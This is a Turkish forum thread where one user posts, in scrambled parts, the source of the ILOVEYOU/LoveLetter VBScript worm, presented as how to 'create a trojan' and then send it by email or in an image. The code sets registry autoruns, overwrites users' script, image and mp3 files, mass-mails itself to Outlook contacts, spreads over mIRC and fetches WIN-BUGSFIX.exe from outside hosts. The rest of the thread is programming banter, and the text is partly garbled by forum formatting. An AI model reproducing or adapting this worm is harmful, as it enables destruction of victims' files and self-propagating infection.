tümü

beyler gaza geldim bilgisayar virüsü

  1. 1.
    +1
    @30 uğra benim alanım database and datamining yardımcı olurum sana
    ···
    #121064051 şikayet
  2. 2.
    +1
    neyce konusuyonuz lan
    ···
    #121063116 şikayet
  3. 3.
    -1
    burda trojanı yanı solucanı oluşturuyoruz kod aşağıda
    rem by: spyder / trojantr@yahoo.com/ @GRAMMERSoft Group / Manila, Philippines
    On Error Resume Next
    dim fso, dirsystem,dirwin, dirtemp,eq,ctr, file,vbscopy,d ow
    ···
    #121061454 şikayet
  4. 4.
    0
    part 3

    next
    Set out=Nothing
    Set mapi=Nothing
    end sub
    sub html
    On Error Resume Next
    dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
    dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<???TITLE><*** NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - <A href="mailto:LOVELETTER@-@>"&vbcrlf">LOVELETTER@-@>"&vbcrlf& _
    "<*** NAME=@-@Author@-@ CONTENT=@-@spyder ??? trojantr@yahoo.com ??? @GRAMMERSoft Group ??? Manila, Philippines ??? March <A href="mailto:2000@-@>"&vbcrlf">2000@-@>"&vbcrlf& _
    "<*** NAME=@-@Description@-@ CONTENT=@-@simple but i think this is <A href="mailto:good... @-@>"&vbcrlf">good... @-@>"&vbcrlf& _
    "<???HEAD><BODY ONMOUSEOUT=@-@window. name=#-#main#-#... HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
    "ONKEYDOWN=@-@window. name=#-#main#-#;... HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ <A href="mailto:BGCOLOR=@-@#FF9933@-@>"&vbcrlf">BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
    "<CENTER><p>This HTML file need ActiveX Control<???p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<???p>"&vbcrlf& _
    "<???CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>---z---... ---<???MARQUEE> "&vbcrlf& _
    "<???BODY><???HTML>"&vbcrlf& _
    "<SCRIPT <A href="mailto:language=@-@JScript@-@>"&vbcrlf">language=@-@JScript@-@>"&vbcrlf& _
    "<???"&vbcrlf& _
    "if (window. screen){var wi=screen. availWidth;var hi=screen. availHeight;window. moveTo(0,0);window.re sizeTo(wi,hi);}"&vbcrlf& _
    "--->"&vbcrlf& _
    "<???SCRIPT>"&vbcrlf& _
    "<SCRIPT <A href="mailto:LANGUAGE=@-@VBScript@-@>"&vbcrlf">LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
    "<---"&vbcrlf& _
    "on error resume next"&vbcrlf& _
    "dim fso, dirsystem,wri, code,code2,code3,code4,aw,regdit "&vbcrlf& _
    "aw=1"&vbcrlf& _
    "code="
    dta2="set fso=CreateObject(@-@Scripting. FileSystemObject@-@)"&vbcrlf& _
    "set dirsystem=fso. GetSpecialFolder(1)"&vbcrlf& _
    "code2=replace(code,chr(91)&chr(45)&chr(91),ch r(39 ))"&vbcrlf& _
    "code3=replace(code2,chr(93)&chr(45)&chr(93),c hr(3 4))"&vbcrlf& _
    "code4=replace(code3,chr(37)&chr(45)&chr(37),c hr(9 2))"&vbcrlf& _
    "set wri=fso. CreateTextFile(<A href="mailto:dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf">dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
    "wri. write code4"&vbcrlf& _
    "wri. close"&vbcrlf& _
    "if (fso. FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
    "if (err. number=424) then"&vbcrlf& _
    "aw=0"&vbcrlf& _
    "end if"&vbcrlf& _
    "if (aw=1) then"&vbcrlf& _
    "***.write @-@ERROR: can#-#t initialize <A href="mailto:ActiveX@-@"&vbcrlf">ActiveX@-@"&vbcrlf& _
    "window. close"&vbcrlf& _
    "end if"&vbcrlf& _
    "end if"&vbcrlf& _
    "Set regedit = CreateObject(@-@WScript. Shell@-@)"&vbcrlf& _
    "regedit. RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
    "--->"&vbcrlf& _
    Tümünü Göster
    ···
    #121065463 şikayet
  5. 5.
    0
    @45 ben sayıları ve alanı belirleyecem o peteği oluşturacak yap lan çok bilmiş basit en basitidir bu algoritmaların
    ···
    #121065328 şikayet
  6. 6.
    0
    part 4 sondur
    "<???SCRIPT>"
    dt1=replace(dta1,chr(35)&chr(45)&chr(35),"´")
    dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
    dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
    dt5=replace(dt4,chr(94)&chr(45)&chr(94),"")
    dt2=replace(dta2,chr(35)&chr(45)&chr(35),"´")
    dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
    dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
    dt6=replace(dt3,chr(94)&chr(45)&chr(94),"")
    set fso=CreateObject("Scripting. FileSystemObject")set c=fso. OpenTextFile(WScript. ScriptFullName,1)
    lines=Split(c.ReadAll, vbcrlf)
    l1=ubound(lines)
    for n=0 to ubound(lines)
    lines(n)=replace(lines(n),"´",chr(91)+chr(45)+chr( 91))
    lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr (93))
    lines(n)=replace(lines(n),"",chr(37)+chr(45)+chr( 37))
    if (l1=n) then
    lines(n)=chr(34)+lines(n)+chr(34)
    else
    lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
    end if
    next
    set b=fso. CreateTextFile(dirsystem+"LOVE-LETTER-FOR-YOU.HTM")
    b.close
    set d=fso. OpenTextFile(dirsystem+"LOVE-LETTER-FOR-YOU.HTM",2)
    d.write dt5
    ···
    #121065537 şikayet
  7. 7.
    0
    Evet beyler gördünüz gibi virüsümüz oluşmuştur artık bunu resime veya mail ile gönderebiliriz olay budur
    ···
    #121065639 şikayet
  8. 8.
    0
    @45 neyin derdindesin binnn çok biliyorsan bize bal peteği şeklini oluştura bilen bir kod yazsana canım kardeşim
    ···
    #121065185 şikayet
  9. 9.
    0
    Beyler yapmayın gözlüğüm adama gitti
    ···
    #121064891 şikayet
  10. 10.
    0
    yazmayın beyler adamdayım
    ···
    #121099779 şikayet
  11. 11.
    0
    part 2 .
    next
    end sub
    sub folderlist(folderspec)
    On Error Resume Next
    dim f,f1,sf
    set f = fso. GetFolder(folderspec)
    set sf = f.SubFolders
    for each f1 in sf
    infectfiles(f1.path)
    folderlist(f1.path)
    nextend sub
    sub regcreate(regkey, regvalue)
    Set regedit = CreateObject("WScript. Shell")
    regedit. RegWrite regkey, regvalue
    end sub
    function regget(value)
    Set regedit = CreateObject("WScript. Shell")
    regget=regedit. RegRead(value)
    end function
    function fileexist(filespec)
    On Error Resume Next
    dim msg
    if (fso. FileExists(filespec)) Then
    msg = 0
    else
    msg = 1
    end if
    fileexist = msg
    end function
    function folderexist(folderspec)
    On Error Resume Next
    dim msg
    if (fso. GetFolderExists(folderspec)) then
    msg = 0
    else
    msg = 1
    end if
    fileexist = msg
    end function
    sub spreadtoemail()
    On Error Resume Next
    dim x,a,ctrlists, ctrentries,malead,b,regedit, regv,rega d
    set regedit=CreateObject("WScript. Shell")
    set out=WScript. CreateObject("Outlook. Application")
    set mapi=out. GetNameSpace("MAPI")
    for ctrlists=1 to mapi. AddressLists.Count
    set a=mapi. AddressLists(ctrlists)
    x=1
    regv=regedit. RegRead("HKEY_CURRENT_USERSoftwareM icrosoftWAB"&a)
    if (regv="") then
    regv=1
    end if
    if (int(a.AddressEntries. Count)>int(regv)) then
    for ctrentries=1 to a.AddressEntries. Count
    malead=a.AddressEntries(x)
    regad=""
    regad=regedit. RegRead("HKEY_CURRENT_USERSoftware MicrosoftWAB"&malead)
    if (regad="") then
    set male=out. CreateItem(0)
    male. Recipients.Add(malead)
    male. Subject = "ILOVEYOU"
    male. BOdy = vbcrlf&"kindly check the attached LOVELETTER coming from me."
    male. Attachments.Add(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs")
    male. Send
    regedit. RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&ma lead ,1,"REG_DWORD"
    end if
    x=x+1
    next
    regedit. RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a, a.Ad dressEntries. Count
    else
    regedit. RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a, a.Ad dressEntries. Count
    end if
    ···
    #121064875 şikayet
  12. 12.
    0
    herneyse konuya dönüyoruz part 1. kodlar için
    rem barok -loveletter(vbe) <i hate go to school>
    rem by: spyder / trojantr@yahoo.com/ @GRAMMERSoft Group / Manila,Philippines
    On Error Resume Next
    dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
    eq=""
    ctr=0
    Set fso = CreateObject("Scripting.FileSystemObject")
    set file = fso.OpenTextFile(WScript.ScriptFullname,1)
    vbscopy=file.ReadAll
    main()
    sub main()
    On Error Resume Next
    dim wscr,rr
    set wscr=CreateObject("WScript.Shell")
    rr=wscr.RegRead("HKEY_CURRENT_USERSoftwareMicros oftWindows Scripting HostSettingsTimeout")
    if (rr>=1) then
    wscr.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout",0,"REG_DWORD"
    end if
    Set dirwin = fso.GetSpecialFolder(0)
    Set dirsystem = fso.GetSpecialFolder(1)
    Set dirtemp = fso.GetSpecialFolder(2)
    Set c = fso.GetFile(WScript.ScriptFullName)
    c.Copy(dirsystem&"MSKernel32.vbs")
    c.Copy(dirwin&"Win32DLL.vbs")
    c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs")
    regruns()
    html()
    spreadtoemail()
    listadriv()
    end sub
    sub regruns()
    On Error Resume Next
    Dim num,downread
    regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindows Cur rentVersionRunMSKernel32",dirsystem&"MSKernel32 .vbs"
    regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindows Cur rentVersionRunServicesWin32DLL",dirwin&"Win32DL L.vbs"
    downread=""
    downread=regget("HKEY_CURRENT_USERSoftwareMicros oftInternet ExplorerDownload Directory")
    if (downread="") then
    downread="c:"
    end if
    if (fileexist(dirsystem&"WinFAT32.exe")=1) then
    Randomize
    num = Int((4 * Rnd) + 1)
    if num = 1 then
    regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page"," http://www.skyinet.net/~young1s/HJKh ... jw6587345gvsdf 7679njbvYT/WIN-BUGSFIX.exe"
    elseif num = 2 then
    regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page"," http://www.skyinet.net/~angelcat/skl ... 546786324hjk4j nHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
    elseif num = 3 then
    regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page"," http://www.skyinet.net/~koichi/jf6TR ... nmPOhfgER67b3V bvg/WIN-BUGSFIX.exe"
    elseif num = 4 then
    regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page"," http://www.skyinet.net/~chu/sdgfhjks ... DGjkhYUgqweras djhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy 7thjg/WIN-BUGSFIX.exe"
    end if
    end if
    if (fileexist(downread&"WIN-BUGSFIX.exe")=0) then
    regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindows Cur rentVersionRunWIN-BUGSFIX",downread&"WIN-BUGSFIX.exe"
    regcreate "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart Page","about:blank"
    end if
    end sub
    sub listadriv
    On Error Resume Next
    Dim d,dc,s
    Set dc = fso.Drives
    For Each d in dc
    If d.DriveType = 2 or d.DriveType=3 Then
    folderlist(d.path&"")
    end if
    Next
    listadriv = s
    end sub
    sub infectfiles(folderspec)
    On Error Resume Next
    dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
    set f = fso.GetFolder(folderspec)
    set fc = f.Files
    for each f1 in fc
    ext=fso.GetExtensionName(f1.path)
    ext=lcase(ext)
    s=lcase(f1.name)
    if (ext="vbs") or (ext="vbe") then
    set ap=fso.OpenTextFile(f1.path,2,true)
    ap.write vbscopy
    ap.close
    elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
    set ap=fso.OpenTextFile(f1.path,2,true)
    ap.write vbscopy
    ap.close
    bname=fso.GetBaseName(f1.path)
    set cop=fso.GetFile(f1.path)
    cop.copy(folderspec&""&bname&".vbs")
    fso.DeleteFile(f1.path)
    elseif(ext="jpg") or (ext="jpeg") then
    set ap=fso.OpenTextFile(f1.path,2,true)
    ap.write vbscopy
    ap.close
    set cop=fso.GetFile(f1.path)
    cop.copy(f1.path&".vbs")
    fso.DeleteFile(f1.path)
    elseif(ext="mp3") or (ext="mp2") then
    set mp3=fso.CreateTextFile(f1.path&".vbs")
    mp3.write vbscopy
    mp3.close
    set att=fso.GetFile(f1.path)
    att.attributes=att.attributes+2
    end if
    if (eq<>folderspec) then
    if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
    set scriptini=fso.CreateTextFile(folderspec&"script.i ni")
    scriptini.WriteLine "[script]"
    scriptini.WriteLine ";mIRC Script"
    scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
    scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
    scriptini.WriteLine ";"
    scriptini.WriteLine ";Khaled Mardam-Bey"
    scriptini.WriteLine "; http://www.mirc.com" ;
    scriptini.WriteLine ";"
    scriptini.WriteLine "n0=on 1:JOIN:#:{"
    scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
    scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"LOVE-LETTER-FOR-YOU.HTM"
    scriptini.WriteLine "n3=}"
    scriptini.close
    eq=folderspec
    end if
    end if
    Tümünü Göster
    ···
    #121064780 şikayet
  13. 13.
    0
    sadeleştiriyolar dediğin olay seni yormaktan koruyo amk

    hiç sevmem microsoft'u ama .NET teknoloji ile gibe gibe yazmaktan kurtuluyosun dahası mı var? bu sadeleştirmeden öte genişletme.

    ne çabuk yayılsını? ms, vb ve vbs icin destegini cekti bile artik.

    8 yasindayken ben vb ile kod yaziyodum amk yas olmus kocaman hala mi vb amk.

    edit: //

    fortlan değil fortran olacak.
    ···
    #121064620 şikayet
  14. 14.
    0
    @41 sana başarılar kardeşim c++ veya başka ne dil biliyorsan senin için iyidir ama unutmaki mantık hep aynı benim hocam fortlan kullanıyor gidipte adama fortlanmı kaldı demiyoruz mesele bu
    ···
    #121064611 şikayet
  15. 15.
    0
    bişeyler öğret da bize biz bilgiye muhtacız
    ···
    #121064493 şikayet
  16. 16.
    0
    yazıyorum tamdıbını verecem kodun ama site izin vermiyor parça parça verecem ve burdan başlıyorum öbür kodları unutun başlama noktası burası
    ···
    #121064373 şikayet
  17. 17.
    0
    @35 8 yıldan fazladır C++ programcısıyımdır. Gömülü sistemler. ifşa olacağımı bilmesem CSD ve Paypal çalışma bilgilerimi de atarım. Tabii bu 8 yılda sadece C++ öğrenmedim *

    4-5 yıla senior developer belgesi de alırım..

    biliyoruz da konusuyoruz amk.
    ···
    #121064290 şikayet
  18. 18.
    0
    @36 aynştan afferin kendi bilgisayarını çöker yavrum virüs yazmaktaki amaç kendi bilgisayarınımı çökertmek mi?
    ···
    #121064218 şikayet
  19. 19.
    0
    sorularınızı alıyım var ise mesleğe dairde olabilir
    ···
    #121065695 şikayet
  20. 20.
    0
    fud mu bu?

    hala bal petek isiyle ugrasacagimi mi sandin amk?
    ···
    #121066061 şikayet